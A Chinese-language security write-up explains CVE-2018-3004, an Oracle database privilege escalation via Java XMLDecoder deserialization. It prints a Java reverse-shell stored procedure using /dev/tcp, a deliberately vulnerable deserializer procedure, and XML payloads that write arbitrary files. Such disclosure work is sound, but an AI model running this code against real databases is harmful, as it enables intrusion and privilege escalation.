反序列化Oracle提权

  • A+
所属分类:网络安全文章
腾讯云网站解决方案帮您轻松应对建站成本高/网络不稳定/安全漏洞多/单点部署无冗余等常见问题,满足电商/直播/教育等日均PV1-100万的网站部署需求。


成都、重庆区云产品3折特惠,全新机型计算提速,最高睿频可达3.7GHz

前言

Oracle数据库容易受到通过java反序列化向量绕过Oracle JVM内置的安全机制来提升用户权限的影响。攻击者适当的利用它还可以获取服务器上的shell级访问权限和对数据库的访问的SYS级别权限。

Oracle 针对此问题发布了CVE-2018-3004

反序列化漏洞

Java反序列化漏洞在过去几年中风靡一时。2015年,Foxglove安全发布了一篇文章,详细描述了许多J2EE应用服务器中的一个关键安全漏洞,这些漏洞使服务器容易受到远程代码执行的攻击。

自2015年Foxglove文章以来,许多关于Java反序列化的漏洞被发布,其中很多是基于ysoserial库。还公开了许多CVE,并发布补丁以解决这些缺陷,包括Oracle特定的CVE,如CVE-2018-2628,CVE-2017-10271,CVE-2015-4852 。

大多数已发布的漏洞集中在易受反序列化攻击的应用服务器上。然而,今天,我想探索Oracle数据库以及在Oracle数据库存储过程中,它如何容易受到的Java紧密集成的自定义反序列化攻击的影响。

本文中的示例是使用Oracle 12C创建的,但早期版本的Oracle数据库也很容易受到攻击。

反序列化Oracle提权

Java存储过程

Oracle Enterprise Edition 有一个嵌入数据库的Java虚拟机,而Oracle数据库则通过Java存储过程来支持Java的本地执行。

基本的JVM保护

当然,如果您对Java和渗透测试有一定程度的熟悉,您可能马上联想到创建一个会在Oracle数据库中编译的反向shell:

  1. SET scan off
  2. create or replace and compile java source named ReverseShell as
  3. import java.io.*;
  4. public class ReverseShell{
  5.    public static void getConnection(String ip, String port) throws InterruptedException, IOException{
  6.       Runtime r = Runtime.getRuntime();
  7.       Process p = r.exec(new String[]{"/bin/bash","-c","0<&126-;exec 126<>/dev/tcp/" + ip + "/" + port + ";/bin/bash <&126 >&126 2>&126"});
  8.       System.out.println(p.toString());
  9.       p.waitFor();
  10.    }
  11. }
  12. /
  13. create or replace procedure reverse_shell (p_ip IN VARCHAR2,p_port IN VARCHAR2)
  14. IS language java name 'ReverseShell.getConnection(java.lang.String, java.lang.String)';
  15. /

这种方法不起作用,因为Oracle JVM实现了基于细粒度策略的安全机制来控制对操作系统和文件系统的访问。

XML反序列化

Java中存在XML序列化和反序列化,以支持使用标准化行业格式(在本例中为XML)的跨平台信息交换。为此,java.beans库包含两个类:XMLEncoder和XMLDecoder,用于将Java对象序列化为XML格式,之后再反序列化该对象。

典型的反序列化漏洞依赖于接受和反序列化任意输入的服务的存在。但是,如果您可以访问能在用户模式中创建对象的低权限Oracle帐户(即具有connect和resource的用户),则可以创建自己的易受攻击的反序列化程序。

反序列化Oracle提权

作为“TESTER”用户,我创建了以下Java类“DecodeMe”和一个调用此类的Java存储过程:

  1. create or replace and compile java source named DecodeMe as
  2. import java.io.*;
  3. import java.beans.*;
  4. public class DecodeMe{
  5.     public static void input(String xml) throws InterruptedException, IOException {
  6.       XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes()));
  7.       Object object = decoder.readObject();
  8.       System.out.println(object.toString());
  9.       decoder.close();
  10.     }
  11. }
  12. ;
  13. /
  14. CREATE OR REPLACE PROCEDURE decodeme (p_xml IN VARCHAR2) IS
  15.     language java name 'DecodeMe.input(java.lang.String)';
  16. /

decodeme过程将接受任意XML编码的Java字符串并执行提供的指令。在此处可以找到有关序列化XML的正确格式的信息。这块代码只是简单地调用println将数据输出到终端。

  1. BEGIN
  2.  decodeme('<?xml version="1.0" encoding="UTF-8" ?>
  3. <java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.lang.System" field="out">
  4. <void method="println">
  5. <string>This is test output to the console</string>
  6. </void>
  7. </object>
  8. </java>');
  9. END;
  10. /

漏洞

当然,我们不需要反序列化过程来将输出打印到控制台,那么这个过程到底有多脆弱?事实证明,反序列化过程绕过了JVM权限设置,并允许用户随意写入操作系统上的文件。请参阅以下示例脚本:

  1. BEGIN
  2.    decodeme('
  3.                 <java class="java.beans.XMLDecoder" version="1.4.0" >
  4.                    <object class="java.io.FileWriter">
  5.                       <string>/tmp/PleaseDoNotWork.txt </string>
  6.                       <boolean>True</boolean>
  7.                       <void method="write">
  8.                          <string>Why for the love of god?</string>
  9.                       </void>
  10.                       <void method="close" />
  11.                    </object>
  12.                 </java>');
  13. END;
  14. /

执行此匿名块会在/tmp文件夹中创建名为“PleaseDoNotWork.txt”的文件:

反序列化Oracle提权

因此,通过反序列化绕过内置的安全限制,我们可以将任意文件写入文件系统。

CE安全网

发表评论

您必须登录才能发表评论!